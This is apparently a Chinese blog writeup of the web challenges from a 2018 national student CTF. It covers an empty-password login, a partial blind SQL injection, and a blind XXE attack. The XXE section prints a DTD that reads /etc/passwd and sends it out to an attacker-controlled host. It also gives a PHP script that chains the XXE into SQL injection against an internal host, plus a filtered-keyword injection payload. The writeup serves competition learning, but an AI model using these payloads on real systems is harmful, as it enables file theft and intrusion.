关注网络安全,网络安全文章,网络资源工具,网络安全技术,网络安全知识,互联网安全知识,原创网络安全博客————————(信息安全工程师/程序员/渗透测试小能手)@YIXUN

第十一届全国大学生信息安全竞赛CTF WEB部分writeup

ctf YIXUN 741℃ 0评论

7DCCBBEAB977945A04B97B81949D16E8

Easyweb

这题没什么好说的,就是有点意想不到密码是空

1.admin密码空拿到token

1

2.拿token登录拿到flag

2

ReadHub

这题有点坑,因为需要一个pwn手,自己pwn不了队里也没有pwn手最后没办法做下去,这题比赛的时候是0解,做到哪写到哪吧。

首先找到盲注点  是root权限,可惜不知道网站路径没办法写shell,而且直接跑不出表名,最后在information表里查到post只有一个表posts,里面也没有有用的数据,无果换思路。

936C8279435833760FFFE7BB46AB3B8D

屏幕快照 2018-04-29 下午11.16.15

接着在114.116.17.77/service/../post.do下载到了elf文件,用ida pro 打开发现网站为c cgi,初步判断网站为命令执行漏洞。

屏幕快照 2018-04-29 下午11.18.27

比较可疑的地方应该是action=download,pwn不来,放弃。

 

City Nigth

扫端口发现有22,80, 33899

扫敏感文件和手动发现有这些php文件

http://114.115.149.109:33899/a.php  (phpinfo)

http://114.115.149.109:33899/common.php  (留言提交板)

http://114.115.149.109:33899/test.php (无内容)

http://114.115.149.109:33899/hacker.php (跳转hacker.html)

http://114.115.149.109:33899/config.php

http://114.115.149.109:33899/function.php

所以可以利用的地方就应该只有http://114.115.149.109:33899/common.php

传入数组的时候发现问题

WX20180429-233844@2x

看到有匹配函数以为是PHPMailer 远程代码执行漏洞,后来通过52dandan.cc想起来强网杯的原题

考点是xxe,传入xxe发现报错,而且探测发现为 blind xxe

远程服务器布置一个xxe.dtd

<!ENTITY % payload SYSTEM "php://filter/read=/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip/?xxe=%payload;'>">
%all;
%send;

payload

<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM “ip/xxe.dtd”>
%dtd;]>
<root/>

WX20180430-000718@2x

可以正常返回passwd

屏幕快照 2018-04-30 上午12.08.25

读取config文件
屏幕快照 2018-04-30 上午12.13.27

发现 /var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431

并没有这个文件,有点坑

看强网杯的writeup看需要内网渗透,继续之

php://filter/read=zlib.deflate/convert.base64-encode/resource=/proc/net/arp

然后找ip发现只有

192.168.223.1

192.168.223.222

这两个IP有MAC地址

php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.222/

访问http://192.168.223.222/发现是个网站

http://192.168.223.222/test.php返回

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods’s name is ”,your goods’s price is ”,your goods’s quantity is ”,your goods’s total is ”,testing finish~~~~

http://192.168.223.222/test.php?goods=1返回

Online Shop System Testing!!!Our online sales system is coming soon.Now open the test interface to internal employees!!!This time is the last testing before online!!!So this time,we test the query and search interface at once !!!!start testing~~~~your goods’s name is ‘肥皂’,your goods’s price is ’10’,your goods’s quantity is ‘1000’,your goods’s total is ‘10000’,testing finish~~~~

看强网杯write up说这里是个注入点,一条一条跑太费劲了,写了个php把网站“映射”出来

<?php
header("Content-type: text/html; charset=utf-8");
error_reporting(0); 
function send_post($url) {
 $post_data = array(
 'name' => '1',
 'email' => 'handan@qq.com',
 'comment' => '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "ip/test/xxe.dtd"> %remote; ]></root>'
);
 $postdata = http_build_query($post_data);
 $options = array(
 'http' => array(
 'method' => 'POST',
 'header' => 'Content-type:application/x-www-form-urlencoded',
 'content' => $postdata,
 'timeout' => 15 * 60 // 超时时间(单位:s)
 )
 );
 $context = stream_context_create($options);
 $result = file_get_contents($url, false, $context);
 
 return $result;
}
 

function dtd($sql) {
 $dtd = '<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.222/test.php?goods='.$sql.'">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM \'ip/test/xxe.php?xxe=%file;\'>">
%all;
%send;';
file_put_contents("xxe.dtd",$dtd);
}

$sql_str = urlencode($_GET[goods]);
dtd($sql_str);

send_post('http://114.115.149.109:33899/common.php');
$str = file_get_contents('xxe');
echo $str;
?>

放到php环境的服务器上,完美

111

这样注入就方便多了,然后就是愉快的注入了

过滤了,=等关键字符,还好没有过滤关键词,一番fuzz后找到一个可用的payload

注入payload

goods=2%27-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary(%27{}%27))then(0)else(1)end)-%271

flag CISCN{04312248512f06b777d8d0be53a5aeab}

333

转载请注明出处:http://www.xunblog.com/283

本站部分内容来自网络,如有侵权,请联系我们进行处理,转载本站文章请注明出处!
喜欢 (2)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)